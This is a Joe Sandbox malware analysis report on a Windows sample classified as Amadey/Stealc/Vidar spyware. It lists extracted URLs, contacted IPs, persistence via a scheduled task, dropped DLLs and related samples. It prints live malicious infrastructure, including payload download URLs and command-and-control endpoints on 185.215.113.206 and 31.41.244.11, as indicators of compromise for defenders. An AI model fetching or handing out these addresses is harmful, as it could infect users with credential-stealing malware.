https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2367220170.0000000023978000.00000004.00000020.00020000.00000000.sdmp, JEBKEHJJ.0.dr, HIDAAKEG.0.dr, Web Data.14.dr	false		high
http://31.41.244.11/files/unique1/random.exedH	skotes.exe, 00000020.00000002.3382889346.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.msn.com	9ab4dbbd-b71c-4f91-acdc-fbd52eda745c.tmp.15.dr	false		high
http://185.215.113.206/68b591d6548ec281/freebl3.dllt	file.exe, 00000000.00000002.2675670278.0000000001482000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2367220170.0000000023978000.00000004.00000020.00020000.00000000.sdmp, JEBKEHJJ.0.dr	false		high
http://31.41.244.11/files/unique1/random.exe60ac02b4ded8abeee1fbde719b5059bb	skotes.exe, 00000020.00000002.3382889346.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive-daily-1.corp.google.com/	manifest.json0.14.dr	false		high
https://excel.new?from=EdgeM365Shoreline	5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	GHCGDAFCFHIDBGDHCFCBFBFIIJ.0.dr	false		high
http://185.215.113.206ngineer	file.exe, 00000000.00000002.2674146425.00000000004F7000.00000040.00000001.01000000.00000003.sdmp	false		high
https://drive-daily-5.corp.google.com/	manifest.json0.14.dr	false		high
http://185.215.113.206/68b591d6548ec281/freebl3.dllz	file.exe, 00000000.00000002.2675670278.0000000001482000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://31.41.244.11//Zu7JuNko/index.php	skotes.exe, 00000020.00000002.3382889346.0000000000EE8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php9	file.exe, 00000000.00000002.2675670278.0000000001482000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bzib.nelreports.net/api/report?cat=bingbusiness	Reporting and NEL.15.dr	false		high
https://www.google.com/chrome	content_new.js.14.dr, content.js.14.dr	false		high
https://www.tiktok.com/	5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	false		high
http://185.215.113.206/c4becf79229cb002.php=	file.exe, 00000000.00000002.2675670278.0000000001482000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	GHCGDAFCFHIDBGDHCFCBFBFIIJ.0.dr	false		high
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.14.dr	false		high
http://31.41.244.11/files/unique1/random.exe	skotes.exe, 00000020.00000002.3382889346.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://31.41.244.11/files/unique1/random.exeRS	skotes.exe, 00000020.00000002.3382889346.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://chromewebstore.google.com/	manifest.json.14.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json0.14.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.14.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	false		high
https://chrome.google.com/webstore/	manifest.json.14.dr	false		high
https://y.music.163.com/m/	5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	false		high
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.14.dr	false		high
https://bard.google.com/	5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	false		high
http://185.215.113.206/Ca	file.exe, 00000000.00000002.2675670278.000000000146B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.14.dr	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dllT	file.exe, 00000000.00000002.2675670278.0000000001482000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000000.00000002.2702650292.0000000023A3D000.00000004.00000020.00020000.00000000.sdmp, IIIECAAKECFHIECBKJDH.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpU	file.exe, 00000000.00000002.2675670278.0000000001482000.00000004.00000020.00020000.00000000.sdmp	false		high
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.14.dr	false		high
https://web.whatsapp.com	5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	false		high
http://31.41.244.11/files/unique1/random.exe7d1a8Sb	skotes.exe, 00000020.00000002.3382889346.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://m.kugou.com/	5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	false		high
https://www.office.com	5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
20.1.248.118	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.57.90.152	unknown	United States	35994	AKAMAI-ASUS	false
172.217.19.225	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
2.16.158.75	unknown	European Union	20940	AKAMAI-ASN1EU	false
108.139.47.92	unknown	United States	16509	AMAZON-02US	false
23.59.251.218	unknown	United States	20940	AKAMAI-ASN1EU	false
172.217.21.36	www.google.com	United States	15169	GOOGLEUS	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.49.251.229	unknown	United States	16625	AKAMAI-ASUS	false
23.209.72.37	unknown	United States	20940	AKAMAI-ASN1EU	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
20.42.65.91	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.165.220.57	sb.scorecardresearch.com	United States	3	MIT-GATEWAYSUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
23.44.201.8	unknown	United States	20940	AKAMAI-ASN1EU	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
23.44.201.32	unknown	United States	20940	AKAMAI-ASN1EU	false

Private

IP
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1564225
Start date and time:	2024-11-28 00:18:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	33
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@73/286@22/26
EGA Information:	Successful, ratio: 25%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 192.229.221.95, 93.184.221.240, 216.58.208.227, 172.217.19.238, 64.233.165.84, 34.104.35.123, 142.250.181.74, 172.217.17.74, 172.217.19.234, 172.217.19.170, 172.217.19.202, 172.217.17.42, 142.250.181.138, 142.250.181.106, 172.217.21.42, 204.79.197.203, 13.107.42.16, 13.107.21.239, 204.79.197.239, 13.107.6.158, 172.165.61.93, 23.32.238.138, 2.19.198.56, 23.32.238.208, 23.32.238.168, 2.16.158.176, 2.16.158.170, 2.16.158.90, 2.16.158.187, 2.16.158.169, 2.16.158.96, 2.16.158.89, 2.16.158.83, 2.16.158.80, 95.100.135.24, 95.100.135.26, 95.100.135.41, 95.100.135.40, 95.100.135.107, 13.74.129.1, 13.107.21.237, 204.79.197.237, 23.32.238.105, 23.32.238.152, 142.251.32.99, 142.250.80.67, 142.251.41.3, 142.250.81.227
Excluded domains from analysis (whitelisted): prod-agic-us-3.uksouth.cloudapp.azure.com, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, data-edge.smartscreen.microsoft.com, img-s-msn-com.akamaized.net, tse1.mm.bing.net, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, g.bing.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, star.b.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, prod-atm-wds-edge.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, ris.api.iris.microsoft.com, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, c.bing.com, edgeassetservice.azureedge.net, clients.l.google.com, a1847.dscd.akamai.net, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.trafficmanage
Execution Graph export aborted for target DocumentsDAFBGHCAKK.exe, PID 8352 because it is empty
Execution Graph export aborted for target file.exe, PID 7376 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 8704 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
00:20:01	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
18:19:38	API Interceptor	165x Sleep call for process: file.exe modified
18:21:01	API Interceptor	104x Sleep call for process: skotes.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
20.1.248.118	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	https://ecouterrepondeurvocal.pro/35-hnJZib	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win32.TrojanX-gen.30295.4008.exe	Get hash	malicious	RisePro Stealer	Browse
185.215.113.43	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	valid.sh.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	valid.sh.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, Amadey, Cerbfyne Stealer, Credential Flusher, Cryptbot, LummaC Stealer, Poverty Stealer	Browse	172.64.41.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, Amadey, Cerbfyne Stealer, Credential Flusher, Cryptbot, LummaC Stealer, Poverty Stealer	Browse	94.245.104.56
sb.scorecardresearch.com	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	18.161.69.8
	file.exe	Get hash	malicious	PureCrypter, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.161.69.30
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	18.161.69.117
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	18.165.220.57
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.110
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.110
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.106
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.110
	file.exe	Get hash	malicious	PureCrypter, Amadey, Cerbfyne Stealer, Credential Flusher, Cryptbot, LummaC Stealer, Poverty Stealer	Browse	18.165.220.57
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	3.160.188.50

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	i686.elf	Get hash	malicious	Unknown	Browse	20.94.237.206
	arm.elf	Get hash	malicious	Unknown	Browse	22.209.154.185
	mips.elf	Get hash	malicious	Unknown	Browse	20.73.97.130
	mipsel.elf	Get hash	malicious	Unknown	Browse	52.114.89.18
	sh4.elf	Get hash	malicious	Unknown	Browse	20.66.91.41
	m68k.elf	Get hash	malicious	Unknown	Browse	13.86.110.69
	arm5.elf	Get hash	malicious	Unknown	Browse	21.38.64.134
	arm7.elf	Get hash	malicious	Unknown	Browse	21.116.254.220
	sh4.elf	Get hash	malicious	Mirai	Browse	20.126.219.18
	ppc.elf	Get hash	malicious	Mirai	Browse	191.237.255.169
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
MICROSOFT-CORP-MSN-AS-BLOCKUS	i686.elf	Get hash	malicious	Unknown	Browse	20.94.237.206
	arm.elf	Get hash	malicious	Unknown	Browse	22.209.154.185
	mips.elf	Get hash	malicious	Unknown	Browse	20.73.97.130
	mipsel.elf	Get hash	malicious	Unknown	Browse	52.114.89.18
	sh4.elf	Get hash	malicious	Unknown	Browse	20.66.91.41
	m68k.elf	Get hash	malicious	Unknown	Browse	13.86.110.69
	arm5.elf	Get hash	malicious	Unknown	Browse	21.38.64.134
	arm7.elf	Get hash	malicious	Unknown	Browse	21.116.254.220
	sh4.elf	Get hash	malicious	Mirai	Browse	20.126.219.18
	ppc.elf	Get hash	malicious	Mirai	Browse	191.237.255.169
MICROSOFT-CORP-MSN-AS-BLOCKUS	i686.elf	Get hash	malicious	Unknown	Browse	20.94.237.206
	arm.elf	Get hash	malicious	Unknown	Browse	22.209.154.185
	mips.elf	Get hash	malicious	Unknown	Browse	20.73.97.130
	mipsel.elf	Get hash	malicious	Unknown	Browse	52.114.89.18
	sh4.elf	Get hash	malicious	Unknown	Browse	20.66.91.41
	m68k.elf	Get hash	malicious	Unknown	Browse	13.86.110.69
	arm5.elf	Get hash	malicious	Unknown	Browse	21.38.64.134
	arm7.elf	Get hash	malicious	Unknown	Browse	21.116.254.220
	sh4.elf	Get hash	malicious	Mirai	Browse	20.126.219.18
	ppc.elf	Get hash	malicious	Mirai	Browse	191.237.255.169

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://t.co/nq9BYOxCg9	Get hash	malicious	HTMLPhisher	Browse	4.245.163.56 52.149.20.212 13.107.246.63 20.190.177.19 23.218.208.109
	http://customervoice.microsoft.com/Pages/ResponsePage.aspx?id=N_pyUL0QJkeR_KiXHZsVlyTB1Qoy7S9IkE8Ogzl8coFUMjlDUzRPSFpCUFlQWUFMOUs0ODBFUUZITi4u	Get hash	malicious	HTMLPhisher	Browse	4.245.163.56 52.149.20.212 13.107.246.63 20.190.177.19 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	4.245.163.56 52.149.20.212 13.107.246.63 20.190.177.19 23.218.208.109
	XiaobingOnekey.exe	Get hash	malicious	Unknown	Browse	4.245.163.56 52.149.20.212 13.107.246.63 20.190.177.19 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	4.245.163.56 52.149.20.212 13.107.246.63 20.190.177.19 23.218.208.109
	https://public-eur.mkt.dynamics.com/api/orgs/88a21dbe-0cab-ef11-b8e4-000d3ab73076/r/ITDpQP9xc0mGhZTOns8zcwIAAAA?target=%7B%22TargetUrl%22%3A%22https%253A%252F%252Fescclim-my.sharepoint.com%252F%253Ao%253A%252Fg%252Fpersonal%252Ftech_esc_esc-clim_com%252FEhAtf79h6jhPmHVrOq0G3zQBcIqaUIUgKKgPrxeGvockQA%253Fe%253D4LkyBM%22%2C%22RedirectOptions%22%3A%7B%225%22%3Anull%2C%220%22%3Anull%7D%7D&digest=w8KszEUMxRXpc4kyRepudGYpxF6dCJlj%2BwOvs5Es14I%3D&secretVersion=7c13c22c20aa46a1b2fc8b71fde4d19a	Get hash	malicious	Unknown	Browse	4.245.163.56 52.149.20.212 13.107.246.63 20.190.177.19 23.218.208.109
	1ZFDEXA938MKSUBA.html	Get hash	malicious	WinSearchAbuse	Browse	4.245.163.56 52.149.20.212 13.107.246.63 20.190.177.19 23.218.208.109
	1ZFDEXA938MKSUBA.html	Get hash	malicious	WinSearchAbuse	Browse	4.245.163.56 52.149.20.212 13.107.246.63 20.190.177.19 23.218.208.109
	1ZFDEXA938MKSUBASJKA.svg	Get hash	malicious	WinSearchAbuse	Browse	4.245.163.56 52.149.20.212 13.107.246.63 20.190.177.19 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.245.163.56 52.149.20.212 13.107.246.63 20.190.177.19 23.218.208.109
6271f898ce5be7dd52b0fc260d0662b3	https://clickme.thryv.com/ls/click?upn=u001.5-2B1Zlj-2BwCegXqgd6Um7kY0JRT8UgUE3u1rWR4YFASxlUU28BkvglW4Sw74FAirirfRSk_jzclrAiO28PBUU1ZLf2yC1YJEF5Rt8zDnz4yKbEuFqXf3c0fVOhzL2fXxOYix3CjCrzlLwoIPSXb9PavK50mtpdK-2FWF7thydb3q6E5ptEQjRRfcuGnHeO06MZmpQ9Md6EqF3tHpTnJtwnRl07eBC-2BbeqGDZkqEsFQ9fh8CwKb92GLRs9xjA4K3L0qiP8u-2BrdM8wHoplpWV7e4Ic88yYySdEC6BFxZgKH7uN8ysaI5ELMcoW165-2BlUHwvAK7b88Y-2FPYUokK9PeBa-2FcZkvlS9nh3pVTeDrVNhWWvISMX1rFpeltySyG2xWyMwf0YLv9gS0X1AE0s7oDERqOcaTwfLsXQxoV99DX1bVNLU7d5FQCgc-3D#C?email=heath.teresa@aidb.org	Get hash	malicious	Unknown	Browse	150.171.27.10 2.16.158.43 20.234.120.54 20.199.58.43 150.171.28.10 20.31.169.57 2.16.158.56
	Order Summary.xls	Get hash	malicious	Unknown	Browse	150.171.27.10 2.16.158.43 20.234.120.54 20.199.58.43 150.171.28.10 20.31.169.57 2.16.158.56
	container payment.xls	Get hash	malicious	Unknown	Browse	150.171.27.10 2.16.158.43 20.234.120.54 20.199.58.43 150.171.28.10 20.31.169.57 2.16.158.56
	oDisjCYpOP	Get hash	malicious	Xmrig	Browse	150.171.27.10 2.16.158.43 20.234.120.54 20.199.58.43 150.171.28.10 20.31.169.57 2.16.158.56
	https://application-submit.com/form/redbull	Get hash	malicious	Unknown	Browse	150.171.27.10 2.16.158.43 20.234.120.54 20.199.58.43 150.171.28.10 20.31.169.57 2.16.158.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	150.171.27.10 2.16.158.43 20.234.120.54 20.199.58.43 150.171.28.10 20.31.169.57 2.16.158.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	150.171.27.10 2.16.158.43 20.234.120.54 20.199.58.43 150.171.28.10 20.31.169.57 2.16.158.56
	GasProcessingPlantReportOfReceipts.xlsm	Get hash	malicious	Unknown	Browse	150.171.27.10 2.16.158.43 20.234.120.54 20.199.58.43 150.171.28.10 20.31.169.57 2.16.158.56
	CUVAs_ Closing Doc_ The Abram Law Group #RDZ-01.eml	Get hash	malicious	CredentialStealer, HTMLPhisher	Browse	150.171.27.10 2.16.158.43 20.234.120.54 20.199.58.43 150.171.28.10 20.31.169.57 2.16.158.56
	http://www.trilogyrez.com	Get hash	malicious	Unknown	Browse	150.171.27.10 2.16.158.43 20.234.120.54 20.199.58.43 150.171.28.10 20.31.169.57 2.16.158.56
3b5074b1b5d032e5620f69f9f700ff0e	Teklif Talebi__77252662______PDF_PDF.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	20.198.119.143
	ORDEN DE COMPRA.pdf.lnk	Get hash	malicious	Unknown	Browse	20.198.119.143
	hesaphareketi-01-27112024.exe	Get hash	malicious	Snake Keylogger	Browse	20.198.119.143
	Teklif_PDF.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	20.198.119.143
	New_June_products_list_Needed_pdf.scr.exe	Get hash	malicious	Unknown	Browse	20.198.119.143
	Arab Bank_ Payment Advice doc.pdf.scr.exe	Get hash	malicious	Unknown	Browse	20.198.119.143
	ORDEN DE COMPRA.pdf.lnk	Get hash	malicious	Lokibot	Browse	20.198.119.143
	ORDEN DE COMPRA.pdf.lnk	Get hash	malicious	Lokibot	Browse	20.198.119.143
	New_June_products_list_Needed_pdf.scr.exe	Get hash	malicious	Unknown	Browse	20.198.119.143
	Arab Bank_ Payment Advice doc.pdf.scr.exe	Get hash	malicious	Unknown	Browse	20.198.119.143

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\GCBGCGHDGIEGCBFIEGCBAKJJEB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
